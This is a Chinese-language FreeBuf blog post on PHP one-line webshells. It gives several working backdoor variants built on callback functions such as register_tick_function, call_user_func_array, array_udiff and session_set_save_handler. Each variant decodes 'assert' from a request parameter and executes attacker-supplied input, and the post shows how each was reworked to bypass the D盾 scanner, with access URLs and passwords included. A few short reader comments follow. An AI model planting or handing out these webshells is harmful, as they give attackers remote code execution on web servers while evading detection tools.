PHP一句話木馬研究 - 20190125

*本文原創作者:Gxian,本文屬於FreeBuf原創獎勵計劃,未經許可禁止轉載

最近在研究PHP一句話後門,查閱了很多大佬的博客,並從中衍生出了一些可用的方法。

現總結如下:

方案一:回調函數

回調函數:Callback (即call then back 被主函數調用運算後會返回主函數),是指通過函數參數傳遞到其它代碼的,某一塊可執行代碼的引用。

已被D盾查殺的函數:

array_filter()
array_walk()
array_walk_recursive()
array_map()
registregister_shutdown_function();
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce() 可疑(級別2)
array_walk()
array_walk_recursive()

1.register_tick_function()

構造一句話:

<?php      
declare(ticks=1);  
register_tick_function(base64_decode($_REQUEST['e']),$_REQUEST['a']);  
?>

訪問URL:

IP/XXX.php?e=YXNzZXJ0

密碼:a

2.變種call_user_func_array()

嘗試模仿正常函數調用,定義一個簡單的function:

<?php
function newsSearch($para0){
    $evil=$para0;
    $exec=$_GET['id'];
    call_user_func_array($exec,array($evil));
}
newsSearch($_POST['tid']);
?>

使用D盾查殺。

0ops!!沒過!!變量$exec被解析成了$GET["id"],但$evil沒有被解析,猜測只要將$exec放在newSearch()函數外面用GET方法獲取,就不會被D盾解析,編寫新的shell:

<?php
function newsSearch($para0,$para1){
    $evil=$para0;

    call_user_func_array($para1,array($evil));
}
$exec=base64_decode($_GET['id']);
newsSearch($_POST['tid'],$exec);
?>

OK!完美繞過!

訪問URL:

IP/XXX.php?id=YXNzZXJ0

密碼:key
同樣的方法可以使用call_user_func函數,構造shell如下:

<?php
function newsSearch($para0,$para1){
    $evil=$para0;

    call_user_func($para1,$evil);
}
$exec=base64_decode($_GET['id']);
newsSearch($_POST['tid'],$exec);
?>

3.變種array_udiff()

用相同的方法構造使用array_udiff()的shell:

<?php
function newsSearch($para0,$para1){
    $evil=$para0;
    $exec=$para1;
    array_udiff($arr=array($evil),$arr1 = array(''),$exec);
}
$exec=base64_decode($_REQUEST['exec']);
newsSearch($_POST['key'],$exec);
?>

訪問URL:

IP/XXX.php?exec=YXNzZXJ0

密碼:key

剩下的回調函數也可以用相同的方法繞過D盾。

4.session_set_save_handler

session_set_save_handler函數可以定義用戶級的session保存函數(打開、保存、關閉),當我們想把session保存在本地的一個數據庫中時,本函數就很有用了。

編寫shell如下:

<?php
    error_reporting(0);
    $session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert
    function open($save_path, $session_name)  // open第一個被調用,類似類的構造函數
    {}
    function close()    // close最後一個被調用,類似 類的析構函數
    {
    }
    session_id($_REQUEST['op']);// 執行session_id($_REQUEST['op'])後,PHP自動會進行read操作,因爲我們爲read callback賦值了assert操作,等價於執行assert($_REQUEST['op'])
    function write($id, $sess_data)
    {}
    function destroy($id)
    {}
    function gc()
    {}
    // 第三個參數爲read  read(string $sessionId)
    session_set_save_handler("open", "close", $session, "write", "destroy", "gc");
    @session_start(); // 打開會話
?>

使用D盾查殺。$session被解析爲assert,猜測D盾認爲該函數的參數中不應該含有assert等敏感函數,否則就掛掉!把$session用GET輸入試試:

$session=$_REQUEST['id'];

看來只要參數中含有敏感函數、GET、POST、REQUEST都會報錯!
嘗試創建一個用戶函數,在函數中調用session_set_save_handler(),並將assert作爲參數傳入:

<?php
    error_reporting(0);
    //$session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert
    function test($para){
        session_set_save_handler("open", "close", $para, "write", "destroy", "gc");
        @session_start(); // 打開會話
    }
    $session=base64_decode($_REQUEST['id']);
    // open第一個被調用,類似類的構造函數
    function open($save_path, $session_name)
    {}
    // close最後一個被調用,類似 類的析構函數
    function close()
    {
    }
    // 執行session_id($_REQUEST['op'])後,PHP自動會進行read操作,因爲我們爲read callback賦值了assert操作,等價於執行assert($_REQUEST['op'])
    session_id($_REQUEST['op']);
    function write($id, $sess_data)
    {}
    function destroy($id)
    {}
    function gc()
    {}
    // 第三個參數爲read  read(string $sessionId)
    test($session);

?>

完美繞過!

訪問URL:

IP/XXX.php?id=YXNzZXJ0

密碼:op

*本文原創作者:Gxian,本文屬於FreeBuf原創獎勵計劃,未經許可禁止轉載

Gxian 1 篇文章 等級: 1

|

|

發表評論

已有 3 條評論

  • OpenRASP  2019-01-25 回覆 1樓

     

    表示 OpenRASP 特意掛鉤了 array_walk 這些函數,只要回調是命令執行就攔截

    亮了(0)

  • freebuffzck  (5級)  2019-01-25 回覆 2樓

     

    學習了

    亮了(0)

  • Gu3st  2019-01-25 回覆 3樓

     

    php 7.1到以上,全部給你幹掉!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章